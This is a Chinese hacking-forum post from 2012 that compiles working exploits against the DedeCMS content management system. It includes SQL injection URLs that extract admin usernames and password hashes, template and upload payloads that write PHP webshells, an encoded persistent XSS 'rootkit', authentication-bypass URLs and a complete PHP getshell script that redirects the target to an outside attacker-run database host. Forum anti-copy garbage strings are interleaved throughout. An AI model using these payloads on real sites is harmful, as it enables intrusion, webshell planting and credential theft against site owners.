找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3315|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

  m: W2 f( y: ~! K, }& \Dedecms 5.6 rss注入漏洞* A9 ?9 f6 C/ N
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 j/ [4 f* f8 i# Z0 e% L: p, F: w6 j/ r2 |- c, K

5 U5 h8 I6 X# O# n6 N, D) F
/ w# V8 d' u- L0 V, k6 ?
% ~  u+ R+ }5 g& Q  ?+ q! b
; _9 k3 G+ M4 Q: N6 Q& h+ F( U0 _4 j

1 V6 ^  x5 s: e2 P* n9 ~( d8 s' g) K* v( h% D
DedeCms v5.6 嵌入恶意代码执行漏洞
7 d7 B+ @5 v) t) C) ^9 h3 l注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}. q1 O9 v2 C) f* K8 w
发表后查看或修改即可执行
! M' [- Z$ m& K; [1 g* sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}- S) s# N/ e  g
生成x.php 密码xiao,直接生成一句话。1 v' u, `2 [1 `1 M' a4 G3 L. m4 ?
! e8 p* d) @0 Y: C( I

* v- J/ _& c7 D
# g- d" D9 j8 }" s% Q* E
( r+ S1 O2 S! A% q4 f( G2 l' a4 S5 o, w
6 y0 j( s) K5 w
" {2 U0 }+ q* @1 u# c9 ~1 i
- d& c" F" _; |; `$ q, n# [
Dede 5.6 GBK SQL注入漏洞" ^4 B( D1 g3 X4 P1 d( ?9 |
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';9 J! Q( g: i; X) V# u& R& G
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
* w9 _* }" @1 chttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A74 M7 H9 _+ u: L" n

. w+ X6 _# w/ D; d9 x3 q+ b+ }4 Q( X4 p( W' Y8 \

1 u$ \$ y) g4 K9 Z( V
! p7 g' B. R. ~& M  O" [) v; N- N! n! _7 S; @
  [& d! a9 A) ^

# h% _: V5 F6 m" s3 L$ g9 ]
9 \- [& d, D8 e  V) eDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, U$ t  x. c1 U
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` 3 C8 y- {/ K- @
. K5 k5 V. p& L  l2 q2 E
" R" x! R& u: K& `3 e1 A( A
: \& f3 y: J6 s6 J0 u  W1 p

  e$ W4 x2 _/ }  p+ y: N5 _% O4 x8 i; i9 x

6 }: O% q' n1 l# C% l  \) D" qDEDECMS 全版本 gotopage变量XSS漏洞5 @; R: S3 E- u( y5 T. V
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。
( B6 G( f3 }0 x; P0 f, g
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
0 A( W- `1 M; V
% A0 p# a! p3 h2 L9 Z9 k& Z0 S! H9 ^" U/ z; Y; o% d, W, I% q
2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。 " P+ N/ r$ ^- H. ^
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda  n3 w1 J" U% i6 f9 [# ]1 _

; D1 K. V2 f9 p) ?; s' V+ J9 a# ~  U4 g7 V7 n
http://v57.demo.dedecms.com/dede/login.php
3 r7 o- a! d+ H' x5 x8 g+ P1 D; H& |. Y

: C3 d: d5 ?7 d1 g0 B( i; @5 dcolor=Red]DeDeCMS(织梦)变量覆盖getshell2 M2 M& j& G$ z; L* A" M7 Q- f
#!usr/bin/php -w
( V; v$ Y: d5 A" C7 p) D<?php% e% |0 K* m5 g( [5 x+ U
error_reporting(E_ERROR);  L2 P0 r# y* q
set_time_limit(0);4 ^5 b$ w4 V- l" z0 G5 [
print_r('
+ J0 T8 f1 O  A7 {& sDEDEcms Variable Coverage( B6 A& z. R, D! H
Exploit Author:
www.heixiaozi.comwww.webvul.com
* ?, H( j8 k$ a* n);/ B4 V# f. m0 I4 y: x5 F
echo "\r\n";) ]* {. U4 g) E2 y* R3 k, ^3 d, x/ D, ?
if($argv[2]==null){
' Y7 q4 o7 b6 o# F7 b7 cprint_r('0 [) \" Z  }0 U
+---------------------------------------------------------------------------+) y& y; C4 R! B- t( X
Usage: php '.$argv[0].' url aid path
& u3 b1 f: L7 `/ c$ d% c# faid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
, O: }( e+ c% Z; D: {( k: ~7 J# cExample:4 n1 X6 x* M- g% E
php '.$argv[0].'
www.site.com 1 old9 E( i, h2 L6 j6 f$ h! E/ h
+---------------------------------------------------------------------------+/ A4 ?6 h4 {- ^5 u: u! a4 b2 B
');
& B* v' K8 P# U/ v4 A' q0 Qexit;& R2 g6 r1 U- D! F# P5 @' J4 ^
}
/ b. `8 P. m5 s' `; F$url=$argv[1];0 C0 N, d/ y) l6 _# {1 O
$aid=$argv[2];
& k" ^' A( _  |$path=$argv[3];
  }. O, Q/ d! U- h; c1 T$ s0 w- Q4 _$exp=Getshell($url,$aid,$path);' M0 v% l4 Y" @$ `. ]
if (strpos($exp,"OK")>12){
' W' }4 w! \+ n! T9 becho "
" f. Q  F4 I" n9 \/ L4 T9 uExploit Success \n";
: v9 }4 ?9 j' X" |" K0 Mif($aid==1)echo "1 s4 N0 S9 M- S6 ~$ K  q
Shell:".$url."/$path/data/cache/fuck.php\n" ;; f) o) \5 Y( A
3 y3 e  _$ g* I( [% E0 N  q' s. K' q

, K8 |6 f+ {9 e% Fif($aid==2)echo "
  C/ Z  C# b3 `+ qShell:".$url."/$path/fuck.php\n" ;
8 n) W6 ?1 Q% P
4 ?- x6 H) t" }* v, d& A
. F3 n( X+ S1 E" i. v' xif($aid==3)echo "6 O* m* }" ]/ o1 l( P3 l4 u
Shell:".$url."/$path/plus/fuck.php\n";' ~3 H/ `* X! p4 S, g; T
! A8 \$ \& I: R$ z. G5 {+ |$ M
8 q4 R+ R& F5 W: P( j+ A7 @
}else{
- i2 S% ^0 O* becho "; D3 a: ?6 F9 M3 X, Q
Exploit Failed \n";
  y- w( D$ Y! j0 T" s1 N8 ]- c- \}
% f3 D' K6 p( @8 \function Getshell($url,$aid,$path){
4 S- p$ |6 H( |& {$id=$aid;, v9 @$ _. H, S$ s
$host=$url;
7 ?3 z; m% R* G. n$port="80";$ p/ X* _- M4 D, x+ O
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";( y/ h2 ?  c  ~. N/ y
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";6 g0 o8 L* l; g# x9 k+ C
$data .= "Host: ".$host."\r\n";
3 ?, s+ d4 m" z, `$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% E9 b8 j, q, n; w1 q$ P* d$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! T+ J$ f  j' A
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";6 b6 A- I7 {, n# A  |8 F; v
//$data .= "Accept-Encoding: gzip,deflate\r\n";( K" V% ]; c# _! Q, a
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
+ x# d% J' h3 w* K& {& v% S( m$data .= "Connection: keep-alive\r\n";
4 Z( C7 U) I% F- R3 i% h$data .= "Content-Type: application/x-www-form-urlencoded\r\n";* X! w8 O: W6 v
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 }- f" U( \  K7 e( R
$data .= $content."\r\n";* |3 H* r* Y/ |( k, j. O
$ock=fsockopen($host,$port);
) e' X: i& o2 {7 N( t/ O' a! }if (!$ock) {
6 Q6 R0 E) c0 g4 B2 w: R& techo "8 b# z# y5 ?0 t8 c7 [( N
No response from ".$host."\n";
1 f' ?! R* v6 _- k  g! q}, P1 L1 g) s# e& m/ D9 e( o4 ~; B
fwrite($ock,$data);
2 d2 S( L+ k6 wwhile (!feof($ock)) {
0 G  S! D/ C% S7 P: f$exp=fgets($ock, 1024);
0 r0 ?3 Q  u& Z; W, Qreturn $exp;, R) n6 C8 z0 O4 B# H) n
}$ d! X5 e. J! H, X
}
3 q/ i$ N4 ^* L. a1 B, x( v0 |
) c, k9 x, X7 M# l8 H' w' Z0 R1 |' L7 t+ J
?>, ^6 S  n! z* J! U
8 O% ^0 E$ Q2 J3 P$ Y- t

& [( t  g7 @& l# c
5 R& D$ ^, H& r9 X" N+ v
4 v/ n7 Y: f, D+ O# m/ x- `7 m( X3 U$ q

9 f" `3 n8 M6 c9 C# M+ T5 b8 E. J5 B! |

3 _0 W# l* I; I: v$ G  \5 T/ `
4 n; _; `% F- J  w: C. _; y; V% t7 @! m' b* n
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
6 s" \: w" N1 l9 f5 U) N
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root6 |4 }9 T8 E0 f3 P0 h
5 l' H3 A6 ^4 I6 _. ]

+ j' O9 b3 y/ @0 w: |  v# a3 L5 V把上面validate=dcug改为当前的验证码,即可直接进入网站后台$ T8 X; A; B0 O7 C0 E5 h5 o# V

% t+ K$ B! ]% R% |+ V! n) c. l9 a5 n" j1 O: ?5 H6 d
此漏洞的前提是必须得到后台路径才能实现
4 G7 h* f: G- G, u* G; ]/ g3 X$ d9 v+ o5 P, S6 c
9 m: E/ H' b1 {( e9 ~2 w7 X, m
" _/ P1 G2 R4 f' I

8 D7 }& s! T2 [8 a( P7 L  a& t+ L, q: k" M8 m; b4 B* P. Y
- K9 X2 I6 F/ F
" J. Q. V) Q+ n0 ^9 V; \' f% H( q
5 f7 d) t9 F0 {3 g

- f& |/ O+ w. q* d
% Q2 E( t- F: _, r/ B1 i# s3 YDedecms织梦 标签远程文件写入漏洞% E4 V! U& H1 e) K$ }. s
前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
; p: N, t; u/ H8 h$ w, W9 q4 K/ k
, J/ _0 C! Q2 M0 M7 |
" l# w+ X$ C1 D4 }: P再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
2 D+ o+ n+ }7 f) Q0 F<form action="" method="post" name="QuickSearch" id="QuickSearch">4 ^3 t; a) S# `" J; _, a
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
  z0 R" B  d3 ]/ u2 t<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />/ q) I% }6 h; U& D
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
0 h% z3 D* d$ p<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />: \8 J, W& i' c
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />! f: `' v' V1 {% m$ P4 `2 Y
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />; E8 @1 |1 q4 O( p0 m% r
<input type="text" value="true" name="nocache" style="width:400">/ c0 n( A( F+ a7 N/ m( |- Y# p; h/ R
<input type="submit" value="提交" name="QuickSearchBtn"><br />
6 Y+ n1 x: `- G) B</form>
! m% y% }; m! G+ V( g8 U3 D! x% W) p<script>8 v$ P; R4 z$ l, [2 D
function addaction()
( N" r$ u- K: K) \+ s{: R$ Z  l3 N% T) @# c% U. Z
document.QuickSearch.action=document.QuickSearch.doaction.value;+ P$ v5 M/ c5 j% S% H+ ?- \+ o
}
: G1 B  a7 a" z3 m/ b& s</script>
. F. }& h! Q; Y* Z9 g
9 |- G5 O+ w) h$ o$ ]( @3 t( _
6 y3 y0 Q9 U! X$ F. A" Z, V  Z1 Q3 M/ w" \- K4 P* |! w% d8 }
: [& {2 R: M0 [# `1 \, D
1 k" T( z! {0 u1 H5 q" A
, r: A$ a9 W, |( B; L1 N- V+ J1 d
' d7 Z. F8 m! E8 e, ~

0 P, S0 O( N, @4 ]
8 @2 q: T: X2 m5 q$ c4 @  x& F5 C2 t# H
DedeCms v5.6 嵌入恶意代码执行漏洞3 b# W$ g) |  o! Y* H+ S
注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行
$ `; h- v$ @2 V6 j; ]  V/ l3 C' ua{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
. `8 Y6 f" \+ h0 {生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得; o& x6 @! E* O
Dedecms <= V5.6 Final模板执行漏洞* r1 y9 S. o( D6 O* [
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:7 O! f' f2 W! w- [: C  e9 C3 l2 i
uploads/userup/2/12OMX04-15A.jpg/ ]% k9 P2 M( O

; m- b/ c' V5 z4 v( W/ I% u$ b7 r% Q( R( U, W3 W  `. h
模板内容是(如果限制图片格式,加gif89a):* F7 j  x& M# i' Z( H  T! |
{dede:name runphp='yes'}
0 _7 |. E7 e, m- B7 R8 x% o" X$fp = @fopen("1.php", 'a');3 I% X5 i3 B. q8 d7 C! R3 c
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");& C. W+ W5 e' O8 u
@fclose($fp);
# Q, V, N% U# m# r* @+ n# Y  D2 S{/dede:name}
) ^0 R7 w' b# U6 J2 修改刚刚发表的文章,查看源文件,构造一个表单:7 o" h# B0 Y6 c: \) Z
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">& \" a" _- N+ K
<input type="hidden" name="dopost" value="save" />3 ]7 m% @& _$ r7 \" p, z# O
<input type="hidden" name="aid" value="2" />
5 P) m: I) @7 M1 E$ h& G$ p. e<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />/ V& Q( P) y+ Q
<input type="hidden" name="channelid" value="1" />  z5 `/ X6 i9 p' L/ d
<input type="hidden" name="oldlitpic" value="" />) H! g' J. y9 h% h  K/ p  _
<input type="hidden" name="sortrank" value="1275972263" />
9 j. q- g* [* R  m
+ Y1 T0 S8 r$ j' T: Q
6 X/ L1 E7 t# T8 _% u( O<div id="mainCp">
' a1 |3 J+ b" w; {% @<h3 class="meTitle"><strong>修改文章</strong></h3>
( k( N* Y, k( E& w0 S
1 r0 V, X5 b8 I( U! r2 h" t" h
* \" A2 Q* w0 _: K4 K+ W  U<div class="postForm">7 l% I8 [+ f) O
<label>标题:</label>) T: X; i* I- o3 F
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
( z, v) y8 R" n5 C- H0 y0 Y% X1 ]3 A2 e% x' R2 ^4 o/ r3 C# x6 b8 g4 j

2 X2 T2 f+ A) Q' }9 u5 `<label>标签TAG:</label>; A) y" r' @& \1 W
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)4 c- f" g) P& |) A; M' d
/ M( }8 c7 N1 `" ~3 N
0 \7 R  @: i% K0 }1 K% \
<label>作者:</label>0 K9 Z) K5 o* A3 {
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
* {! s( Z5 m6 t% E3 A( p; Y/ F3 X8 C+ |6 L& K; V- l) H4 c8 q
2 y- R& j0 s1 r" m, E
<label>隶属栏目:</label>$ @9 u& X! k; X) q
<select name='typeid' size='1'>7 L+ k/ m2 z# ]
<option value='1' class='option3' selected=''>测试栏目</option>
4 W5 J: f  s7 F: `/ Q</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
) y7 B- i# ~; A, [, n8 z; s& Y+ t
4 ~& a% |3 ~( m7 n' M) X6 B
2 j* }; z: [$ @& ~1 _$ \" O/ B# M; e<label>我的分类:</label>
4 H  L& T0 o" r: |; S' V<select name='mtypesid' size='1'>
4 o3 a, k+ ]( k/ k8 s<option value='0' selected>请选择分类...</option>
6 U8 v% _6 n  U2 `" G<option value='1' class='option3' selected>hahahha</option>
' u, l5 G- p& X</select>
4 C0 t5 s" c8 Y4 O  O9 k+ K# z( o0 E6 x5 i

3 [* H7 J1 F% Y5 e. e7 n) ]. }<label>信息摘要:</label>9 k8 l% w, C! X) s% Z
<textarea name="description" id="description">1111111</textarea>) V2 H: m: N; n( n8 ]. C9 F
(内容的简要说明)) h/ }: \- _3 ]5 I) A( X
  @, k; p- {7 y# d6 _* I( H) t
8 r6 P) h  p; ~9 {9 V
<label>缩略图:</label>
/ p1 b$ y2 n4 c% l<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>) J6 Q" B9 M9 |
/ d# t7 G+ X& Q0 f& s, i- q
+ `  b! E9 `/ B# d
<input type='text' name='templet'2 u% Q  Y! o, S' x
value="../ uploads/userup/2/12OMX04-15A.jpg">9 q5 ^- K2 _6 f8 b4 G9 K2 d* ^
<input type='text' name='dede_addonfields'
8 n, J6 b5 J7 j: A% d: \) c0 gvalue="templet,htmltext;">(这里构造)
; p( P" y4 H' L  z</div>
4 b" c) f) Q( U
( `9 C# _# f) i/ m! x0 u( ?5 o$ c" o. j- J- V0 z
<!-- 表单操作区域 -->
6 t5 @0 b) u# U<h3 class="meTitle">详细内容</h3>
0 `' \) L' N- S! ?" R
; B9 o1 w: D6 ^$ s0 q
# j" }$ Q. _4 S2 k! i<div class="contentShow postForm">
4 }7 ~  m9 U$ A5 A' W# ^9 e<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
! X) _7 D) O* r: O6 l4 w4 D4 |1 s
5 L) `; b0 T8 |% p
<label>验证码:</label>4 R3 P6 }2 ]; ]0 P
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
7 L+ B8 G- f8 h6 I<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
* d" F- Q, |. u9 a( H9 |- q
6 G  L3 I% b4 G" F
9 X+ v) i" |, ~. D<button class="button2" type="submit">提交</button>/ Z3 f; |  j1 ~' ^2 u
<button class="button2 ml10" type="reset">重置</button>
" ?, V4 |, [. G- z4 P1 R5 p</div>5 G/ i( r3 p/ _: X5 g  N

2 O& g: d5 [6 h9 g* Q  s+ y
* P; w# I# O  k: ]+ ?& v1 h; M</div>
; u4 m0 l/ |% v! D# G
2 z* E3 ?9 c4 K
4 g0 `4 w3 z& F5 Y</form>$ A3 R; M+ F# \3 d

9 s5 i! l! S1 J: w8 a  o! N
4 ]/ c# A! @' Z, K: J/ f提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:% y. u1 N4 G4 n9 _
假设刚刚修改的文章的aid为2,则我们只需要访问:2 ?  P' a% u) }* u0 E
http://127.0.0.1/dede/plus/view.php?aid=2
+ ]/ f& n1 o# T5 n8 @即可以在plus目录下生成webshell:1.php; C) L/ U( F" @! D$ v. E- f
; T5 Y1 g6 @0 e

- r% Z/ i4 K$ Z# u0 s, W: ~# G( t- }: c

( S; k& ~0 I8 X9 |1 C" G: P- P7 B, f3 i: X/ J# W

& }( U. f! a; _# y. t! |. n# e: `
" L& z/ h$ h; d; ]+ T8 a

1 @/ W9 B3 n, B; B: i
8 u3 @. d; T4 S1 G. A: E& j% a" f  H* N8 L% C
- I, }2 x6 g. _% U
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
5 J; ~/ y$ o' t6 M* O7 _' zGif89a{dede:field name='toby57' runphp='yes'}
* x: o1 Y' z8 J* L( zphpinfo();& c3 L; e0 W- K6 Y2 s+ D5 `
{/dede:field}7 d3 h0 S1 ^% ?  g; N* L! q7 X
保存为1.gif9 ?) o. K' y  b- A# H4 [' d
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> ' m6 E9 F8 }' N
<input type="hidden" name="aid" value="7" />
" V! I% X$ d6 P* E<input type="hidden" name="mediatype" value="1" /> / k  }+ K- P0 @7 ?/ v
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br> 8 m( @: k6 y5 U/ N' d: ^
<input type="hidden" name="dopost" value="save" />
  p* ^3 s1 {: y. m+ g# `* l<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
; a, L6 Y7 w2 S2 k<input name="addonfile" type="file" id="addonfile"/> + l; I9 s/ x5 q, ]
<button class="button2" type="submit" >更改</button> . h4 S% c) z5 {- N
</form>
% t. m7 }1 c6 i5 S8 Z( n# Z! G# |7 s$ u4 V# I0 m0 w
6 _  V5 S- `0 ~/ k
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif4 P- Y) }" |: H, _
发表文章,然后构造修改表单如下:
4 ]" y1 j) H0 u0 K( n$ t
& s* f- F' a. V9 F. S. x, L9 D3 p; M  V1 s. l5 p# x: e7 C7 h
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> 3 u  s  A$ l3 e( Y7 _6 P* Z  |
<input type="hidden" name="dopost" value="save" />
8 _7 O! h  m: [<input type="hidden" name="aid" value="2" />
7 ~8 z# q4 ~# y0 R. [  {<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
$ W, _- T9 S5 R  U<input type="hidden" name="channelid" value="1" /> 9 U# O% q3 _* }& w* ^# s
<input type="hidden" name="oldlitpic" value="" />
8 b+ p4 }; O; i5 ]<input type="hidden" name="sortrank" value="1282049150" /> - W& W* F+ \% g; H) M
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> $ K5 v& [3 z! y+ ]7 h5 W
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> 5 t+ ?5 [2 j! C* n& L3 O
<select name='typeid' size='1'>
1 d$ A4 V: e, e& O3 ]; e" l<option value='1' class='option3' selected=''>Test</option>
" S$ S( @- K% \# Z/ I<select name='mtypesid' size='1'>
2 m& A% o9 G6 j! [<option value='0' selected>请选择分类...</option>
4 G* L+ i- G/ m9 W6 D<option value='1' class='option3' selected>aa</option></select>   V3 o/ c9 S: R
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> / K9 S6 M. [! Q
<input type='hidden' name='dede_addonfields' value="templet">
- {- d; t* ~2 k4 b* g<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
( R; L3 ~. t3 Q( K, V<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 1 P# k/ k3 x" ~7 V
<button class="button2" type="submit">提交</button>
* t2 ^- p8 @. X' u</form>
% m! }, b  D) O4 G  i
/ }" P( \9 H) q% D: b/ P& s% W. _8 q7 M: B; P# X7 C$ W

& l# p+ K1 v: n, {& P- @, \8 w
" h5 s; K/ K& ?- S- Q) f) Q1 K2 V1 T1 F, ], H% H, ]8 c0 w
4 A7 q; E) N7 I% F4 |
( B* n/ z& g6 Y; X  x, n( `

& x- [* l: }% ~3 ?) u: e% g  O2 s/ Y' k* Z" S
! [' W# X6 _8 i" K2 Z# {. k* v
( p/ B" v: I6 v) m

  _$ [" P5 y1 v8 I( Y. r* p! F9 e织梦(Dedecms)V5.6 远程文件删除漏洞- }; |1 q% J1 b* K  a& j6 f
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif) d( P/ t4 s2 ~5 N; a# q
6 q/ k; v% b, A* {7 P0 T' d, i! S
& Q! r6 _) I# o6 v+ ^

4 M0 R: ?! s6 B% W# O: L
, p1 S# ~- }/ \% s
$ I& ]" Q( }, _, s- ]7 c) S! l% K9 K( a/ H8 H

/ }6 A, H  X2 G& F9 a
/ l9 Z* A: J& d5 h
, W- t/ x% y) u- B6 k8 m$ s- R! w3 P" Y5 h
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 7 J8 x7 q1 M/ G- w" N
http://www.test.com/plus/carbuya ... urn&code=../../
7 |3 i, T  v5 |0 V) [4 V- w: {
$ I) J+ Z7 c  k! Z: J! k
+ w& ?3 Q7 }" _1 i, ]+ o6 R7 t$ a; N$ b& m0 c# s6 {

7 \$ D6 s$ y( L! U3 ?
" o( c& ~$ L7 n1 `" _
: N% }9 l" H' F! L% T7 ^% C
7 d( S) B# }8 m7 [' K) O0 |9 J4 ^8 j

/ A6 Q# {+ b1 {, Z& Q; V+ h3 l8 a- _  e
! `" `" F: W9 k; y  iDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 8 S& }. ?7 j1 X: G8 I. p( E6 R
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
( U( @! d! f0 ?/ `: U密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5
% Q0 H5 m! L  e6 w3 S/ }0 @/ n% `. r" S# @% G" v

6 H7 ~3 l2 p3 G6 e4 }
  w$ G) p3 h8 h0 P! K% F7 f( F& ^4 D# U8 W) r8 s
2 s8 }) c. R0 K1 F2 p

* W0 c3 @" C. q: f! P5 U) a) m. f1 l/ k
1 o& D4 ]. @  A2 |& R" z% u
/ m6 |7 m: q/ i; I& @$ B1 R. n& V- t0 e
6 A5 @; ?# M, g  L' E$ V8 U
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞) G/ A4 I2 g4 Q2 I6 ^
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
0 g- C! n: ?% w- D* t  j
5 N$ k1 m/ Z" |' _
! A2 q0 b5 C2 d7 V  X9 ^2 E! |+ [5 n$ P6 X

& u1 u7 r% f. t; @2 V/ [% j! p6 I* u, }! a! J# z
+ @2 M  C1 H+ E" E8 @

; N$ m8 L0 u4 b4 K+ A6 |- f/ ~0 ]- [5 g  m; k! Y! i; }' `8 u

5 N6 m" X. ^: ?% P* C, z  G- ?* d' O: C9 C: u" [& Q
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
